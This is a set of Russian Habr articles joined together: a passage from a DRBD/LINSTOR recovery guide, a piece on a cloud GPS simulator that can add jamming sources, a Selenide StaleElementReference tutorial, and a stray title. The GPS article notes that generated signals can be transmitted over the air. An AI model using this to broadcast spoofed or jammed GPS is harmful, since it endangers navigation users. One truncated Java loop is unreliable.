# linstor r l -r one-vm-10154-disk-0
╭─────────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞═════════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-10154-disk-0 ┊ m11c37 ┊ 56031 ┊ Unused ┊ Ok ┊ UpToDate ┊ ┊
┊ one-vm-10154-disk-0 ┊ m15c6 ┊ 56031 ┊ Unused ┊ Connecting(m11c37) ┊ Diskless ┊ 2021-04-08 07:46:40 ┊
┊ one-vm-10154-disk-0 ┊ m8c11 ┊ 56031 ┊ Unused ┊ Connecting(m8c8) ┊ Outdated ┊ ┊
┊ one-vm-10154-disk-0 ┊ m8c8 ┊ 56031 ┊ InUse ┊ Connecting(m8c11) ┊ Diskless ┊ 2021-04-08 09:04:32 ┊
╰─────────────────────────────────────────────────────────────────────────────────────────────────────╯
# linstor r l -r one-vm-10154-disk-0
╭───────────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞═══════════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-10154-disk-0 ┊ m11c37 ┊ 56031 ┊ Unused ┊ Ok ┊ UpToDate ┊ ┊
┊ one-vm-10154-disk-0 ┊ m15c6 ┊ 56031 ┊ Unused ┊ Connecting(m11c37) ┊ Diskless ┊ 2021-04-08 07:46:40 ┊
┊ one-vm-10154-disk-0 ┊ m8c11 ┊ 56031 ┊ Unused ┊ NetworkFailure(m8c8) ┊ Outdated ┊ ┊
┊ one-vm-10154-disk-0 ┊ m8c8 ┊ 56031 ┊ InUse ┊ Connecting(m8c11) ┊ Diskless ┊ 2021-04-08 09:04:32 ┊
╰───────────────────────────────────────────────────────────────────────────────────────────────────────╯
# linstor v l -r one-vm-10154-disk-0
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ Node ┊ Resource ┊ StoragePool ┊ VolNr ┊ MinorNr ┊ DeviceName ┊ Allocated ┊ InUse ┊ State ┊
╞═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ m11c37 ┊ one-vm-10154-disk-0 ┊ thindata ┊ 0 ┊ 3194 ┊ None ┊ 70.66 GiB ┊ Unused ┊ UpToDate ┊
┊ m15c6 ┊ one-vm-10154-disk-0 ┊ DfltDisklessStorPool ┊ 0 ┊ 3194 ┊ /dev/drbd3194 ┊ ┊ ┊ Unknown ┊
┊ m8c11 ┊ one-vm-10154-disk-0 ┊ thindata ┊ 0 ┊ 3194 ┊ /dev/drbd3194 ┊ 31.06 GiB ┊ Unused ┊ Outdated ┊
┊ m8c8 ┊ one-vm-10154-disk-0 ┊ DfltDisklessStorPool ┊ 0 ┊ 3194 ┊ /dev/drbd3194 ┊ ┊ InUse ┊ Diskless ┊
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
```
Проверьте dmesg, если видите `Peer presented a node_id of X instead of Y` ошибку, значит вам попался LINSTOR баг, и по какой-то причине айдишники нод были перепутанны:
```
[15962703.499997] drbd one-vm-10154-disk-0 m8c8: Peer presented a node_id of 2 instead of 3
[15962703.500003] drbd one-vm-10154-disk-0 m8c8: conn( Connecting -> NetworkFailure )
[15962703.551966] drbd one-vm-10154-disk-0 m8c8: Restarting sender thread
[15962703.552245] drbd one-vm-10154-disk-0 m8c8: Connection closed
[15962703.552251] drbd one-vm-10154-disk-0 m8c8: helper command: /sbin/drbdadm disconnected
[15962703.554361] drbd one-vm-10154-disk-0 m8c8: helper command: /sbin/drbdadm disconnected exit code 0
[15962703.554390] drbd one-vm-10154-disk-0 m8c8: conn( NetworkFailure -> Unconnected )
[15962704.555917] drbd one-vm-10154-disk-0 m8c8: conn( Unconnected -> Connecting )
```
Здесь мы можем видеть, что m8c8 представлена для m8c11 как нода с `node-id:0`, а на самом деле она `node-id:2`. Так и наоборот m8c8 видит m8c11 как ноду с `node-id:0`, когда та, на самом деле является `node-id:0`:
```
root@m8c11:~# drbdsetup status one-vm-10154-disk-0 --verbose
one-vm-10154-disk-0 node-id:0 role:Secondary suspended:no
volume:0 minor:3194 disk:Outdated quorum:yes blocked:no
m11c37 node-id:1 connection:Connected role:Secondary congested:no ap-in-flight:0 rs-in-flight:0
volume:0 replication:Established peer-disk:UpToDate resync-suspended:no
m8c8 node-id:3 connection:Unconnected role:Unknown congested:no ap-in-flight:0 rs-in-flight:0
volume:0 replication:Off peer-disk:DUnknown resync-suspended:no
root@m8c8:~# drbdsetup status one-vm-10154-disk-0 --verbose
one-vm-10154-disk-0 node-id:2 role:Primary suspended:no
volume:0 minor:3194 disk:Diskless client:yes quorum:yes blocked:no
m11c37 node-id:1 connection:Connected role:Secondary congested:no ap-in-flight:0 rs-in-flight:0
volume:0 replication:Established peer-disk:UpToDate resync-suspended:no
m8c11 node-id:0 connection:Unconnected role:Unknown congested:no ap-in-flight:0 rs-in-flight:0
volume:0 replication:Off peer-disk:Outdated resync-suspended:no
```
Для DRBD это большая проблема, поэтому мигрируем виртуалку на живую реплику, удаляем все остальные ресурсы и создаём новые:
```
# linstor r d m15c6 m8c11 one-vm-10154-disk-0
# linstor r l -r one-vm-10154-disk-0
╭───────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞═══════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-10154-disk-0 ┊ m11c37 ┊ 56031 ┊ InUse ┊ Ok ┊ UpToDate ┊ ┊
┊ one-vm-10154-disk-0 ┊ m15c6 ┊ 56031 ┊ ┊ Ok ┊ DELETING ┊ 2021-04-08 07:46:40 ┊
┊ one-vm-10154-disk-0 ┊ m8c11 ┊ 56031 ┊ ┊ Ok ┊ DELETING ┊ ┊
╰───────────────────────────────────────────────────────────────────────────────────────╯
# linstor r l -r one-vm-10154-disk-0
╭───────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞═══════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-10154-disk-0 ┊ m11c37 ┊ 56031 ┊ InUse ┊ Ok ┊ UpToDate ┊ ┊
╰───────────────────────────────────────────────────────────────────────────────────────╯
# linstor rd ap one-vm-10154-disk-0
╭──────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞══════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-10154-disk-0 ┊ m10c2 ┊ 56031 ┊ Unused ┊ Ok ┊ SyncTarget(27.34%) ┊ 2021-07-09 14:55:47 ┊
┊ one-vm-10154-disk-0 ┊ m11c37 ┊ 56031 ┊ InUse ┊ Ok ┊ UpToDate ┊ ┊
╰──────────────────────────────────────────────────────────────────────────────────────────────────╯
```
Кейс 11: У одной из diskful-реплик нет связи с diskless-репликой
================================================================
> **Примечание:**: Кейсы 10 и 11 вызваны [проблемой](https://github.com/LINBIT/linstor-server/issues/150#issuecomment-882489597), которая должна быть исправлена в выпуске LINSTOR v1.14.0
```
linstor r l -r one-vm-8760-disk-0
╭────────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞════════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-8760-disk-0 ┊ m13c18 ┊ 55165 ┊ Unused ┊ Connecting(m8c9) ┊ Outdated ┊ ┊
┊ one-vm-8760-disk-0 ┊ m14c27 ┊ 55165 ┊ Unused ┊ Ok ┊ UpToDate ┊ 2021-02-03 12:00:35 ┊
┊ one-vm-8760-disk-0 ┊ m8c9 ┊ 55165 ┊ InUse ┊ Connecting(m13c18) ┊ Diskless ┊ 2021-04-08 09:04:07 ┊
╰────────────────────────────────────────────────────────────────────────────────────────────────────╯
```
Пробуем чуть-чуть подшаманить:
```
root@m13c18:~# drbdadm down one-vm-8760-disk-0
root@m13c18:~# drbdadm up one-vm-8760-disk-0
root@m13c18:~# drbdadm status one-vm-8760-disk-0
one-vm-8760-disk-0 role:Secondary
disk:Outdated
m14c27 role:Secondary
peer-disk:UpToDate
m8c9 connection:Connecting
root@m13c18:~# drbdadm status one-vm-8760-disk-0
one-vm-8760-disk-0 role:Secondary
disk:Outdated
m14c27 role:Secondary
peer-disk:UpToDate
m8c9 connection:Unconnected
root@m8c9:~# drbdadm disconnect one-vm-8760-disk-0:m13c18
root@m8c9:~# drbdadm connect one-vm-8760-disk-0:m13c18
root@m8c9:~# drbdadm status one-vm-8760-disk-0
one-vm-8760-disk-0 role:Primary
disk:Diskless
m13c18 connection:Unconnected
m14c27 role:Secondary
peer-disk:UpToDate
```
Чёрт, такая же ситуация как и в предыдущем кейсе:
```
linstor r l -r one-vm-8760-disk-0
╭──────────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞══════════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-8760-disk-0 ┊ m13c18 ┊ 55165 ┊ Unused ┊ NetworkFailure(m8c9) ┊ Outdated ┊ ┊
┊ one-vm-8760-disk-0 ┊ m14c27 ┊ 55165 ┊ Unused ┊ Ok ┊ UpToDate ┊ 2021-02-03 12:00:35 ┊
┊ one-vm-8760-disk-0 ┊ m8c9 ┊ 55165 ┊ InUse ┊ Unconnected(m13c18) ┊ Diskless ┊ 2021-04-08 09:04:07 ┊
╰──────────────────────────────────────────────────────────────────────────────────────────────────────╯
```
смотрим dmesg:
```
[14635995.191931] drbd one-vm-8760-disk-0 m8c9: conn( Unconnected -> Connecting )
[14635995.740020] drbd one-vm-8760-disk-0 m8c9: Peer presented a node_id of 3 instead of 2
[14635995.740051] drbd one-vm-8760-disk-0 m8c9: conn( Connecting -> NetworkFailure )
[14635995.775994] drbd one-vm-8760-disk-0 m8c9: Restarting sender thread
[14635995.777153] drbd one-vm-8760-disk-0 m8c9: Connection closed
[14635995.777174] drbd one-vm-8760-disk-0 m8c9: helper command: /sbin/drbdadm disconnected
[14635995.789649] drbd one-vm-8760-disk-0 m8c9: helper command: /sbin/drbdadm disconnected exit code 0
[14635995.789707] drbd one-vm-8760-disk-0 m8c9: conn( NetworkFailure -> Unconnected )
```
Ага, точно! Опять айдишники нод смешались
```
root@m8c9:~# drbdsetup status one-vm-8760-disk-0 --verbose
one-vm-8760-disk-0 node-id:3 role:Primary suspended:no
volume:0 minor:1016 disk:Diskless client:yes quorum:yes blocked:no
m13c18 node-id:0 connection:Unconnected role:Unknown congested:no ap-in-flight:0 rs-in-flight:0
volume:0 replication:Off peer-disk:Outdated resync-suspended:no
m14c27 node-id:1 connection:Connected role:Secondary congested:no ap-in-flight:0 rs-in-flight:0
volume:0 replication:Established peer-disk:UpToDate resync-suspended:no
root@m13c18:~# drbdsetup status one-vm-8760-disk-0 --verbose
one-vm-8760-disk-0 node-id:0 role:Secondary suspended:no
volume:0 minor:1016 disk:Outdated quorum:yes blocked:no
m14c27 node-id:1 connection:Connected role:Secondary congested:no ap-in-flight:0 rs-in-flight:0
volume:0 replication:Established peer-disk:UpToDate resync-suspended:no
m8c9 node-id:2 connection:Unconnected role:Unknown congested:no ap-in-flight:0 rs-in-flight:0
volume:0 replication:Off peer-disk:DUnknown resync-suspended:no
root@m14c27:~# drbdsetup status one-vm-8760-disk-0 --verbose
one-vm-8760-disk-0 node-id:1 role:Secondary suspended:no
volume:0 minor:1016 disk:UpToDate quorum:yes blocked:no
m13c18 node-id:0 connection:Connected role:Secondary congested:no ap-in-flight:0 rs-in-flight:0
volume:0 replication:Established peer-disk:Outdated resync-suspended:no
m8c9 node-id:3 connection:Connected role:Primary congested:no ap-in-flight:0 rs-in-flight:0
volume:0 replication:Established peer-disk:Diskless peer-client:yes resync-suspended:no
```
m13c18 видит m8c9 как node-id:2, а на самом деле та node-id:3. Мигрируем тачку на живой ресурс и пересоздаём остальные:
```
# linstor r l -r one-vm-8760-disk-0
╭─────────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞═════════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-8760-disk-0 ┊ m13c18 ┊ 55165 ┊ Unused ┊ Unconnected(m8c9) ┊ Outdated ┊ ┊
┊ one-vm-8760-disk-0 ┊ m14c27 ┊ 55165 ┊ Unused ┊ Ok ┊ UpToDate ┊ 2021-02-03 12:00:35 ┊
┊ one-vm-8760-disk-0 ┊ m8c9 ┊ 55165 ┊ InUse ┊ Unconnected(m13c18) ┊ Diskless ┊ 2021-04-08 09:04:07 ┊
╰─────────────────────────────────────────────────────────────────────────────────────────────────────╯
# linstor r l -r one-vm-8760-disk-0
╭───────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞═══════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-8760-disk-0 ┊ m13c18 ┊ 55165 ┊ Unused ┊ Ok ┊ UpToDate ┊ ┊
┊ one-vm-8760-disk-0 ┊ m14c27 ┊ 55165 ┊ InUse ┊ Ok ┊ UpToDate ┊ 2021-02-03 12:00:35 ┊
╰───────────────────────────────────────────────────────────────────────────────────────╯
# linstor r d m13c18 one-vm-8760-disk-0
# linstor rd ap one-vm-8760-disk-0
# linstor r l -r one-vm-8760-disk-0
╭─────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞═════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-8760-disk-0 ┊ m14c27 ┊ 55165 ┊ InUse ┊ Ok ┊ UpToDate ┊ 2021-02-03 12:00:35 ┊
┊ one-vm-8760-disk-0 ┊ m8c6 ┊ 55165 ┊ Unused ┊ Ok ┊ SyncTarget(78.57%) ┊ 2021-07-09 15:30:55 ┊
╰─────────────────────────────────────────────────────────────────────────────────────────────────╯
```
Кейс 12: Consistent-реплика
===========================
Мы находимся на diskless-ноде, смотрим статус ресурса:
```
root@m11c39:~# drbdadm status one-vm-6967-disk-0
one-vm-6967-disk-0 role:Primary
disk:Diskless
m13c15 role:Secondary
peer-disk:Consistent
m14c40 role:Secondary
peer-disk:UpToDate
```
Крайне неприятная ситуация, обе diskfull реплики репортят UpToDate, но diskless реплика работает только с одной из них, вторая помечена как Consistent. Возникает в результате бага dikless primary на 9.0.19, так же мне удавалось ловить его на 9.0.21, но значительно реже.
При попытке выключить ресурс на m14c40 вы увидите что это невозможно, так как diskless-реплика работает с ней в данный момент:
```
root@m14c40:~# drbdadm disconnect one-vm-6967-disk-0
one-vm-6967-disk-0: State change failed: (-10) State change was refused by peer node
additional info from kernel:
Declined by peer m11c39 (id: 3), see the kernel log there
Command 'drbdsetup disconnect one-vm-6967-disk-0 3' terminated with exit code 11
```
Фиксится следущим образом:
Делаем disconnect и invalidate на Consistent ноде:
```
root@m13c15:~# drbdadm disconnect one-vm-6967-disk-0
root@m13c15:~# drbdadm invalidate one-vm-6967-disk-0
root@m13c15:~# drbdadm connect one-vm-6967-disk-0
root@m13c15:~# drbdadm status one-vm-6967-disk-0
one-vm-6967-disk-0 role:Secondary
disk:Inconsistent
m11c39 role:Primary
peer-disk:Diskless
m14c40 role:Secondary
replication:SyncTarget peer-disk:UpToDate done:3.04
```
Здесь мы видим что синхронизация прошла но ресурс перешёл в inconsistent:
```
root@m13c15:~# drbdadm status one-vm-6967-disk-0
one-vm-6967-disk-0 role:Secondary
disk:Inconsistent
m11c39 role:Primary
peer-disk:Diskless
m14c40 role:Secondary
peer-disk:UpToDate
```
Чтобы эту ситуацию решить, нужно сделать disconnect/connect с другой diskful-репликой:
```
root@m13c15:~# drbdadm disconnect one-vm-6967-disk-0:m14c40
root@m13c15:~# drbdadm connect one-vm-6967-disk-0:m14c40
root@m13c15:~# drbdadm status one-vm-6967-disk-0
one-vm-6967-disk-0 role:Secondary
disk:UpToDate
m11c39 role:Primary
peer-disk:Diskless
m14c40 role:Secondary
peer-disk:UpToDate
```
Кейс 13: Забытый ресурс
=======================
В старых версиях LINSTOR можно было наткнуться на баг, что при удалении ресурса, diskless-реплики оставалась существовать на ноде:
```
one-vm-7792-disk-0 role:Secondary
disk:Diskless quorum:no
m13c9 connection:Connecting
m14c13 connection:Connecting
```
В LINSTOR ресурса давно не существует:
```
linstor r l -r one-vm-7792-disk-0
```
Так что смело тушим его через drbdsetup:
```
root@m14c43:~# drbdsetup down one-vm-7792-disk-0
```
> **Примечание:** drbdsetup является более низкоуровневой утилитой чем drbdadm. drbdsetup общается напрямую с ядром и не требует наличия конфига для drbd-ресурса.
Кейс 14: Испорченый битмап
==========================
Ну и на последок самое вкусненькое. Баг который был замечен в версии 9.0.19, но позже был исправлен. Допустим вы только что создали новую реплику на m10c23, она синхронизировалась и перешла в такое состояние:
```
# linstor v l -r one-vm-5460-disk-2
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ Node ┊ Resource ┊ StoragePool ┊ VolNr ┊ MinorNr ┊ DeviceName ┊ Allocated ┊ InUse ┊ State ┊
╞══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ m10c23 ┊ one-vm-5460-disk-2 ┊ thindata ┊ 0 ┊ 2665 ┊ /dev/drbd2665 ┊ 11.71 GiB ┊ Unused ┊ UpToDate ┊
┊ m11c35 ┊ one-vm-5460-disk-2 ┊ DfltDisklessStorPool ┊ 0 ┊ 2665 ┊ /dev/drbd2665 ┊ ┊ InUse ┊ Diskless ┊
┊ m14c2 ┊ one-vm-5460-disk-2 ┊ diskless ┊ 0 ┊ 2665 ┊ /dev/drbd2665 ┊ ┊ InUse ┊ Diskless ┊
┊ m15c17 ┊ one-vm-5460-disk-2 ┊ thindata ┊ 0 ┊ 2665 ┊ /dev/drbd2665 ┊ 28.01 GiB ┊ Unused ┊ UpToDate ┊
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
```
Обе реплики `UpToDate`, но обратите внимание на Allocated. Одна из них использует сильно меньше места чем другая.
Из-за особенностей DRBD, primary diskless-реплика работает сразу со всеми secondary, то есть читает и пишет сразу в обе diskful-реплики.
Таким образом у виртуальной машины неприменно начнётся конфуз. Какие-то данные она будет читать из нормальной реплики, а какие-то из плохой, повреждая, тем самым, себе файловую систему.
Причиной этой проблемы является поломанный bitmap, и сейчас нам потребуется его пофиксить.
Дело в том что DRBD внутри себя имеет некоторый чейнджлог, который запоминает где и какие данные были изменены. Таким образом в случае дисконнекта и повторного подключения синхронизируются только изменённые данные, но не весь девайс. Другими словами, сейчас, в результате бага DRBD, мы имеем неверный чейнджлог.
Здесь сразу хочется отметить, что существует разница в логике работы классического DRBD и того как с ним работает LINSTOR. Дело в том, что LINSTOR в своих метаданных хранит значение zero-day чейнджлога и при создании новой реплики устанавливает это значение для неё. Таким образом изменения на новую реплику синхронизируются только согласно чейнджлогу. Благодаря этому, если чейнджлог небольшой, то синхронизация завершается очень быстро, в отличии от того если бы выполнялась полная начальная синхронизация данных.
Тогда как стандартная логика DRBD не предлагает такого "улучшения" и каждый раз выполняет full resync для всех новых реплик, то есть даже если у вас повреждён чейнджлог, синхронизация пройдёт успешно.
Диагностировать различия в двух репликах можно запустив команду `drbdadm verify` на одной из них, к примеру:
```
drbdadm verify one-vm-5460-disk-2:m15c17
```
Призведёт проверку `one-vm-5460-disk-2` относительно ресурса размещённого на `m15c17`
После чего все несинхронизированные сектора будут отмечены для синхронизации, и достаточно будет сделать:
```
drbdadm disconnect one-vm-5460-disk-2
drbdadm connect one-vm-5460-disk-2
```
Чтобы они синхронизировались. Алтернативным решением могло бы быть инвалидировать всю реплику сразу и переподключить её:
```
drbdadm disconnect one-vm-5460-disk-2
drbdadm invalidate one-vm-5460-disk-2
drbdadm connect one-vm-5460-disk-2
```
Тогда она полностью синхронизируется. Но даже не смотря на успешную синхронизацию, она продолжит иметь неправильный чейнджлог. Таким образом все новые реплики синхронизируемые через ченджлог опять будут иметь ту же проблему.
Хорошо, с теорией закончили, теперь вернёмся к нашей ситуации. Обычно в данном случае имеет смысл немедленно удалить созданную реплику и произвести следующие действия:
Выключаем нашу виртуалку, либо делаем external volume snapshot, если такой возможности не имеется, и затем выполняем:
```
dd if=/dev/drbd2665 of=/dev/drbd2665 status=progress bs=65536 conv=notrunc,sparse iflag=direct,fullblock oflag=direct
```
Здесь dd побайтно вычитает весь девайс и запишет его обратно, тем самым исправив наш чейнджлог. Не забываем закомитить наш external snapshot (если делали), и теперь можно беспроблемно создавать новые реплики с помощью LINSTOR.
---
На этом у меня всё, если возникнут вопросы, вы сегда сможете задать их в нашем русскоязычном сообществе в телеграме [t.me/drbd\_ru](https://t.me/drbd_ru). А так же поболтать на тему програмных хранилищ и кластерных файловых систем в [t.me/sds\_ru](https://t.me/sds_ru) | https://habr.com/ru/post/531344/ | null | ru | null |
# Радио в облаках. Многоканальный имитатор GPS
Cкорости сетей и вычислительные возможности компьютеров непрерывно и быстро растут. Это делает реализуемыми и экономически оправданными некоторые приложения из мира радио. Говоря философскими категориями, количество переходит в качество, и на стыке отраслей появляются невиданные доселе технологии. Сегодня мы не только расскажем об одной из них, каждый из вас сможет опробовать ее самостоятельно.
Недавно нам посчастливилось запустить многоканальный имитатор GPS и проверить его на устройстве наших уважаемых коллег. Подробно об этом читайте в статье "[Многоканальный имитатор сигнала GPS на RFSoC](https://habr.com/ru/post/577388/)". Кратко - мы взяли существующий [открытый код имитатора GPS](https://github.com/osqzss/gps-sdr-sim) от [prof. Takuji Ebinuma](https://www.chubu.ac.jp/english/faculty/profile/c45cae80bc9985dc7310fb86c0aaee8c406c4137.html), сделали его многоканальным и выдали на ВЧ с помощью RFSoC. И оно заработало!
Многоканальный имитатор нужен нам для отладки алгоритмов помехозащищенного приема спутниковых навигационных сигналов. Один из таких алгоритмов описан нами в этой [статье](https://habr.com/ru/post/543752/). Для отладки алгоритмов нам нужны не только сигналы спутников, но и помехи, приходящие с разных направлений и имеющие разные уровни. Отсчеты помехи должны быть добавлены к отсчетам сигналов спутников с заданной разницей в уровнях.
Конфигурация имитатора задается файлом JSON. Разберем простейшую конфигурацию имитатора.
```
{
"Gps": {
"Enable": true,
"Snr_dbhz": 50
},
"JammingSources": [
],
"Receiver_llh": [
59,
30,
350
],
"SamplesFreq_hz": 5000000,
"Duration_s": 10,
"Antennas_m": [
[
0,
1,
0
]
]
}
```
* "Gps" - тип сигнала, сейчас это только GPS, сигнал включен ("Enable" : true) и задано его отношение сигнал-шум (SNR) - 50 dB-Hz;
* "JammingSources" - описание источников помех, рассмотрим позже;
* "Receiver\_llh" - географические координаты приемника;
* "SamplesFreq\_hz" - частота дискретизации выходного сигнала в Герцах;
* "Duration\_s" - длительность выборки в секундах;
* "Antennas\_m" - описание геометрии антенной решетки в виде координат антенн в метрах. Для простоты рассмотрения в файле выше задана одна антенна.
Мы использовали имитатор для создания модельных сигналов и возносили хвалу его разработчикам. Нас несколько удручала необходимость наличия мощного компьютера. Имитатор для одной помехи и одного канала загружает примерно одно ядро хорошего процессора, чтобы работать в реальном времени. Нам приходится моделировать алгоритмы для восьмиэлементных антенных решеток с большим количеством помех, что выливалось в немалое время ожидания результатов имитатора.
Тогда усилиями [@catscury](/users/catscury) имитатор был перенесен в облако - [cloud.amungo-navigation.com](https://cloud.amungo-navigation.com/). Интерфейс сайта прост и понятен интуитивно. Здесь нужно зарегистрироваться и сгенерировать файл(ы) сигнала, задав файл конфигурации имитатора. Файл конфигурации доступен в онлайн редакторе. Его можно сохранить, чтобы в следующем сеансе загрузить в систему. В случае ошибки в файле конфигурации или в случае выхода за ограничения имитатора, выдаются подсказки. Когда конфигурация заполнена правильно, нужно нажать кнопку "Generate Gps". После продолжительного (будьте терпеливы) старта, начинается скачивание файлов.
Получив файл с сигналом с расширением bin, его можно проверить [программным приемником](https://cloud.mail.ru/public/6TzK/oQ18cpWMz/GNSS_SDR_Class-ComplexAndCNo.zip) от [prof. Dennis Akos](https://www.colorado.edu/ccar/dennis-akos). Вы также можете загрузить файл в любую подходящую SDR-плату для передачи в эфир.
Теперь рассмотрим, как задать параметры, которые делают этот облачный имитатор уникальным. Антенная решетка задается так:
```
"Antennas_m": [
[
0,
0,
0
],
[
1,
0,
0
],
[
0,
1,
0
]
]
```
Здесь заданы координаты антенн в метрах относительно координат приемника, заданных в поле Receiver\_llh. Напомним, что это географические координаты в формате <широта, долгота, высота>.
Если не задавать помеху сколь-нибудь значительного уровня, то выходные файлы имитатора можно использовать для генерации на высокой частоте с целями тестирования систем спутниковой ориентации, как было описано [здесь](https://habr.com/ru/post/577388/). Вы также можете использовать эти файлы для тестирования систем высокоточного позиционирования RTK. Для файла, сгенерированного без помех, программный приемник выдает такую картинку:
Для помехи задаются ее координаты и мощность. Координаты задаются в географическом ("PositionType": "llh") или в декартовом виде ("PositionType": "neu") в метрах относительно Receiver\_llh. Мощность задается в линейном масштабе напряжений, как амплитуда. Это значит, что для увеличения помехи на 20 дБ нужно увеличить значение в 10 раз. Грубо говоря, это напряжение или напряженность поля, которая обратно-пропорциональна расстоянию от источника излучения. В имитаторе учитывается затухание сигнала в соответствие с расстоянием до приемника. С этой точки зрения задание мощности помехи амплитудой довольно удобно. Если мы увеличили расстояние до источника помехи в N раз, то в N раз нужно увеличить амплитуду, если мы хотим, чтобы мощность помехи на входе приемника сохранилась прежней.
```
"JammingSources": [
{
"AmplitudeGain": 5,
"PositionType": "llh",
"Position": [
60,
30.5,
450
]
},
{
"AmplitudeGain": 5,
"PositionType": "neu",
"Position": [
1000,
-3000,
50
]
}
],
```
Во фрагменте конфигурации, представленном выше, задано две помехи одинаковой мощностью на 14 дБ выше шума. Кстати, при таком значении помехи используемый нами [программный приемник](https://cloud.mail.ru/public/6TzK/oQ18cpWMz/GNSS_SDR_Class-ComplexAndCNo.zip) еще обнаруживает сигнал спутников, хотя и со снижением SNR. Координаты первой помехи заданы в географическом виде, второй - в декартовом North-East-Up в метрах. Внутренние параметры приемника, работающего под помехой, представлены ниже. Чтобы справляться с более большими помехами, понадобятся алгоритмы, подобным тем, что мы рассматриваем в этой [статье](https://habr.com/ru/post/543752/).
Следует отметить, что сигнал сохраняется в целочисленном комплексном виде с разрядностью 16 бит на составляющую. Указанный выше программный приемник "из коробки" настроен на такой сигнал с частотой дискретизации 5МГц. Нужно только указать имя файла с сигналом на входе.
Сейчас имитатор имеет некоторые ограничения. Например, нельзя установить большое число каналов и помех и большую длительность выборки. Это сделано, чтобы мы не вылетели в трубу из-за "облачных" счетов.
Мы просим всех, кто станет пользоваться облачным имитатором, сообщать нам о проблемах, неполадках и своих пожеланиях. Мы кое-что знаем про радио, но новички в облачном деле, нам нужно еще поучиться у специалистов. Любые советы приветствуются. | https://habr.com/ru/post/583872/ | null | ru | null |
# Stale Element Reference в Selenide
Всем привет! Данная ошибка является очень популярной при использовании Selenide автотестах в Java. На поиск решения у меня ушло довольно много времени, поэтому в этой статье я хочу подробно рассказать про эту ошибку и как с ней работать.
### Что такое Stale Element Reference и как ее избежать
Stale Element Reference (дальше буду писать SER) является исключением, при котором элемент на странице меняет свой айди при изменении DOM дерева. Чаще всего эту ошибку можно поймать при переборе коллекции элементов в Selenide.
Что я понял про ошибку SER?
В Selenide при итерации списка выполняется метод .snapshot() который замораживает эту коллекцию и элементы стают неизменны, а путь элемента на странице остается прежним. Соответственно мы не сможем обратиться к обновленному элементу, если изменится DOM дерево страницы.
Есть сайт специально для отлова ошибок и тренировки поиска элементов через Xpath. Как раз на этом сайте можно можно поймать SER
Сайт - <http://the-internet.herokuapp.com/challenging_dom>
Давайте определим коллекцию элементов (3 разноцветные кнопки, которые находятся слева).
```
ElementsCollection buttons = $$x(".//a[contains(@class,'button')]");
```
По нажатию на одну из этих кнопок, происходит обновление всех элементов без перезагрузки страницы, это как раз приводит к ошибке SER для дальнейшим взаимодействиям с этими кнопками.
Например вот так, мы словим SER перед нажатием на вторую кнопку.
```
for (SelenideElement button : buttons){
button.click();
}
```
Коллекцию элементов можно обновить только через получение какого то элемента из нее, вызвав метод .get(index), соответственно коллекция обновляется и пути к элементам тоже обновляются, а ошибка SER не вылазит.
Можно перебирать элементы таким способом:
```
for(int i = 0; i
```
Как вариант можно использовать цикл forEach, добавив в него внешний индекс. Также ошибки SER не будет.
```
int index = 0;
for (SelenideElement button : buttons){
buttons.get(index).click();
index++;
}
```
Также можно написать метод, который ловит SER ошибку и код программы продолжает выполняться.
```
public boolean isVisible(SelenideElement element) {
try {
return element.isDisplayed();
}
catch (StaleElementReferenceException e) {
return false;
}
}
```
Также можно использовать этот простой цикл, чтобы перебрать коллекцию и добавить какое то условие максимально безопасно. То есть, если элемент будет SER, то будет переопределение элемента на странице и дальнейшее взаимодействие
```
int index = 0;
for (SelenideElement element : buttons) {
if(isVisible(element)){
element.click();
} else {
buttons.get(index).click();
}
index++;
```
После прочтения данной статьи многие автотестеры смогут решить свою проблему. | https://habr.com/ru/post/573144/ | null | ru | null |
# Проверка VirtualDub
